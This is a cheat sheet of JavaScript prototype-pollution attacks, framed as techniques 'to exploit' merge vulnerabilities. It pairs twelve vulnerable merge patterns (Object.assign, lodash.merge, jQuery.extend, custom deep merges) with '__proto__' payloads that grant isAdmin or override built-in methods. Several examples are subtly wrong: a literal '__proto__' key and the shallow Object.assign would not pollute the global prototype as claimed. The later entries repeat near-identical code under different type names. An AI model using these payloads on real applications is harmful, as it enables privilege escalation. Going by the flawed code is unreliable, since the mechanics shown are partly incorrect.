Merge Prototype Pollution Examples
Use these techniques to exploit merge-based prototype pollution vulnerabilities:
1. Object.assign() Pollution:
// Vulnerable code
const result = Object.assign(target, source);
// Malicious source
const source = {
"__proto__": {
"isAdmin": true,
"role": "admin"
}
};
2. lodash.merge() Pollution:
// Vulnerable code
const result = _.merge(target, source);
// Malicious source
const source = {
"__proto__": {
"isAdmin": true,
"role": "admin"
}
};
3. jQuery.extend() Pollution:
// Vulnerable code
const result = $.extend(target, source);
// Malicious source
const source = {
"__proto__": {
"isAdmin": true,
"role": "admin"
}
};
4. Custom Merge Function Pollution:
// Vulnerable custom merge
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}
}
return target;
}
// Malicious source
const source = {
"__proto__": {
"isAdmin": true,
"role": "admin"
}
};
5. Deep Merge Pollution:
// Vulnerable deep merge
function deepMerge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = deepMerge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
}
// Malicious source
const source = {
"__proto__": {
"isAdmin": true,
"role": "admin"
}
};
6. Array Merge Pollution:
// Vulnerable array merge
function mergeArrays(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"push": function() { return "hacked"; },
"length": 999
}
};
7. Function Merge Pollution:
// Vulnerable function merge
function mergeFunctions(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"toString": function() { return "hacked"; },
"valueOf": function() { return 0; }
}
};
8. Object Merge Pollution:
// Vulnerable object merge
function mergeObjects(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"hasOwnProperty": function() { return true; },
"toString": function() { return "hacked"; }
}
};
9. Date Merge Pollution:
// Vulnerable date merge
function mergeDates(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"getTime": function() { return 0; },
"toString": function() { return "hacked"; }
}
};
10. String Merge Pollution:
// Vulnerable string merge
function mergeStrings(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"charAt": function() { return "hacked"; },
"length": 999
}
};
11. Number Merge Pollution:
// Vulnerable number merge
function mergeNumbers(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"valueOf": function() { return 0; },
"toString": function() { return "hacked"; }
}
};
12. Boolean Merge Pollution:
// Vulnerable boolean merge
function mergeBooleans(target, source) {
return Object.assign(target, source);
}
// Malicious source
const source = {
"__proto__": {
"valueOf": function() { return true; },
"toString": function() { return "hacked"; }
}
};